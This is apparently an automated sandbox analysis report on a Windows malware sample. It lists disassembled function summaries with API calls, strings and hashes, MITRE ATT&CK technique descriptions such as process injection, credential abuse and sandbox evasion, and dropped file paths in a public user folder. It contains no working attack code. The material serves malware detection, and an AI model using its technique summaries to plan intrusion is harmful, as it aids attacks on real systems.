String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 8fc137a1ef2bd80f32763a254e30885bf035247cf28a45f4fd96fdfcbffecfa0
Instruction ID: 0560009c6b02567d295c12b0d34280a10bcc451472309010611151037fddb989
Opcode Fuzzy Hash: 8fc137a1ef2bd80f32763a254e30885bf035247cf28a45f4fd96fdfcbffecfa0
Instruction Fuzzy Hash: 9911C836A186418AE7B09F21E400BBDA7A1EB80F88FE44035DA4D06A98CF3DD893C714

Function 00007FF79789DD48 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978A0730: GetClassNameW.USER32 ref: 00007FF7978A075B

SendMessageW.USER32 ref: 00007FF79789DDCE

Strings

ComboBox, xrefs: 00007FF79789DD5D
ListBox, xrefs: 00007FF79789DD92

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 4b68288faa5a15cc7d232deff94305a842367b5fb3c5c30fdfadb4679d6d4acd
Instruction ID: e27de99eb66e3512311953a8a0d1315b85a2fa1c3522ffff70e6e8a8fab8d014
Opcode Fuzzy Hash: 4b68288faa5a15cc7d232deff94305a842367b5fb3c5c30fdfadb4679d6d4acd
Instruction Fuzzy Hash: 5A119421A1C68292EE30B730E1546F9A750FF957C0FC44131E98D07A8ADF2CE617CB20

Function 00007FF79789DCA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978A0730: GetClassNameW.USER32 ref: 00007FF7978A075B

SendMessageW.USER32 ref: 00007FF79789DD26

Strings

ComboBox, xrefs: 00007FF79789DCB5
ListBox, xrefs: 00007FF79789DCEA

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 0abfc2817ed25deed9a0e18655eb97a5d75c75eb1aeec992e87202f854050b8e
Instruction ID: 94de408f94028859f7974ded8b3dc4e527dd45258b5d047a997da758dea706e5
Opcode Fuzzy Hash: 0abfc2817ed25deed9a0e18655eb97a5d75c75eb1aeec992e87202f854050b8e
Instruction Fuzzy Hash: 1F114222A1868292FA30BB20E0555F9E760FF997C4FC45531E98D07B99DF2CE617CB60

Function 00007FF7978DFEA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 00007FF7978DFF29
CloseHandle.KERNEL32 ref: 00007FF7978DFF3A

Strings

, xrefs: 00007FF7978DFF01

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-3916222277
Opcode ID: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
Instruction ID: fa31f0ec90d660964eae4e9f94359035447abb648bdcc952eb59eecc3cbb2c6c
Opcode Fuzzy Hash: 7b42f129ca5b2bc2214f050bb36978d190a1a5278d42b1070c82c133f3bdff27
Instruction Fuzzy Hash: 65114C31A186428AE720EF22F90066AB7A1FB847E0F854135EA4947A65CF3CD092CB20

Function 00007FF79789DEA8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978A0730: GetClassNameW.USER32 ref: 00007FF7978A075B

SendMessageW.USER32 ref: 00007FF79789DF26

Strings

ComboBox, xrefs: 00007FF79789DEB5
ListBox, xrefs: 00007FF79789DEEA

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ClassMessageNameSend
String ID: ComboBox$ListBox
API String ID: 3678867486-1403004172
Opcode ID: 644f3703e788e93edd25f4b597ff0776f93010d0d499e8dd033eb9cd600cdda9
Instruction ID: f5a555577c8931174bb11353d586f8bd8536925e86e8460e26b61a0bf98478bb
Opcode Fuzzy Hash: 644f3703e788e93edd25f4b597ff0776f93010d0d499e8dd033eb9cd600cdda9
Instruction Fuzzy Hash: A8016522A2C54291EA30F734E1915FDA760FF953D4FC05131E59D07A9ADE2CE62ACB21

Function 00007FF7978715B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF79787158E

Part of subcall function 00007FF79786FA90: _ctrlfp.LIBCMT ref: 00007FF79786FACB
Part of subcall function 00007FF79786FA90: _raise_exc.LIBCMT ref: 00007FF79786FB37

Strings

tan, xrefs: 00007FF7978715BA
!, xrefs: 00007FF797871576

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$tan
API String ID: 3384550415-2428968949
Opcode ID: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
Instruction ID: ad40b204d77f8b8b04b5e335a61f779cdfcac070385703f0ece371596a1cd341
Opcode Fuzzy Hash: 2d553fd115d33d3a807ffc94b8434da97490ee8f564b276a29f6e1ed56bbbb66
Instruction Fuzzy Hash: A101B931E28B8545DA24DF22A40073AAA62FFDA7D4F905334E95E0BF84EF7CD1919B00

Function 00007FF7978714E8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF79787158E

Part of subcall function 00007FF79786FA90: _ctrlfp.LIBCMT ref: 00007FF79786FACB
Part of subcall function 00007FF79786FA90: _raise_exc.LIBCMT ref: 00007FF79786FB37

Strings

cos, xrefs: 00007FF7978714EE
!, xrefs: 00007FF797871576

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$cos
API String ID: 3384550415-1949035351
Opcode ID: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
Instruction ID: 05c2cc8917859f5f18a4d6f528a0f5816f834639df037839b4ee19feb53fd7cc
Opcode Fuzzy Hash: 59a2c881f09cdb696690f699cc12801b637b051dbcc35695dacf0c08331e8fc0
Instruction Fuzzy Hash: D701D871E28B8941D624DF32940073AAA62BFDA7D4F904334E95F0AF84EF7DD0A15B00

Function 00007FF7978714FC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF79787158E

Part of subcall function 00007FF79786FA90: _ctrlfp.LIBCMT ref: 00007FF79786FACB
Part of subcall function 00007FF79786FA90: _raise_exc.LIBCMT ref: 00007FF79786FB37

Strings

sin, xrefs: 00007FF797871502
!, xrefs: 00007FF797871576

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _ctrlfp_handle_error_raise_exc
String ID: !$sin
API String ID: 3384550415-1565623160
Opcode ID: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
Instruction ID: 821115f795ec0fd51e4ed838bfab1b64bcf36cf41cf539a8092396f20a5aa132
Opcode Fuzzy Hash: 9c5650ba25f23863d1585264c289844e213b1bc1e7bffeede2023515f4cd1262
Instruction Fuzzy Hash: 2501D872E28B8545D624DF32940073AAA62BFDA7D4F904334E95E0AF84EF7DD0915B00

Function 00007FF797871370 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF7978713F6

Strings

exp, xrefs: 00007FF7978713E5
", xrefs: 00007FF7978713CF

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _handle_error
String ID: "$exp
API String ID: 1757819995-2878093337
Opcode ID: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
Instruction ID: 81c15f8cc293ffdae5634767fefad5327702aa43d270a86c2c9d6a162e9749be
Opcode Fuzzy Hash: 1dd5b4e450707440dd9d18b5c78d2e187119c4904f0596c8cb375bf303972248
Instruction Fuzzy Hash: 0101A536D38A8886E230DF35D4456AABAB0FFEA344F605315E7451AA60CB7DD4D29B00

Function 00007FF79789C59C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF79789C5B6

Strings

Error allocating memory., xrefs: 00007FF79789C5AD
AutoIt, xrefs: 00007FF79789C5A6

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: 1d16585326ece16a0eda5484eebac71849874b616d0bac460562c406643bb4b8
Instruction ID: 9cef0fa442fe7b9c1923f8446ff3893125e90705d6c8f265123ccfd35419f873
Opcode Fuzzy Hash: 1d16585326ece16a0eda5484eebac71849874b616d0bac460562c406643bb4b8
Instruction Fuzzy Hash: 0BF05520B1834642EB387375B141BF8A611AF883C0FC04430C90C47BCACEBCE4A38320

Function 00007FF7978575C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7978575E9
TlsSetValue.KERNEL32(?,?,?,00007FF797857241,?,?,?,?,00007FF79785660C,?,?,?,?,00007FF797854CD3), ref: 00007FF797857600

Strings

FlsSetValue, xrefs: 00007FF7978575CD, 00007FF7978575D6

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
Instruction ID: 6326395a82f0013a3d57e79296f2c71fea7874afcc57329539a92244e569abfd
Opcode Fuzzy Hash: 5ef202829eb63c082d646b2b3c40b210c8e2726f911b0f602dea3cecf0443926
Instruction Fuzzy Hash: 50E065A1A0C542C1EB257B75F800CF8A761AF88BD1FC88435DA0D06255CFBCD966C661

Function 00007FF797855620 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF797855629
_CxxThrowException.LIBVCRUNTIME ref: 00007FF79785563A

Part of subcall function 00007FF797857018: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF79785563F), ref: 00007FF79785708D
Part of subcall function 00007FF797857018: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF79785563F), ref: 00007FF7978570BF

Strings

Unknown exception, xrefs: 00007FF797855645

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Exception$FileHeaderRaiseThrowstd::bad_alloc::bad_alloc
String ID: Unknown exception
API String ID: 3561508498-410509341
Opcode ID: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
Instruction ID: afee3118e4c7872c9199db0551e9e55fda44b62c338e1b728deac8f247b0c787
Opcode Fuzzy Hash: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
Instruction Fuzzy Hash: 8ED05E22A18986D1DE30FB24D8807A8E330FB80388FD04431E24D825B1EF2CDA5BD320

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Details.au3

C:\Users\Public\InformationCheck.exe

C:\Users\Public\ProfileDetails.ps1

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5bv201eo.3bw.psm1

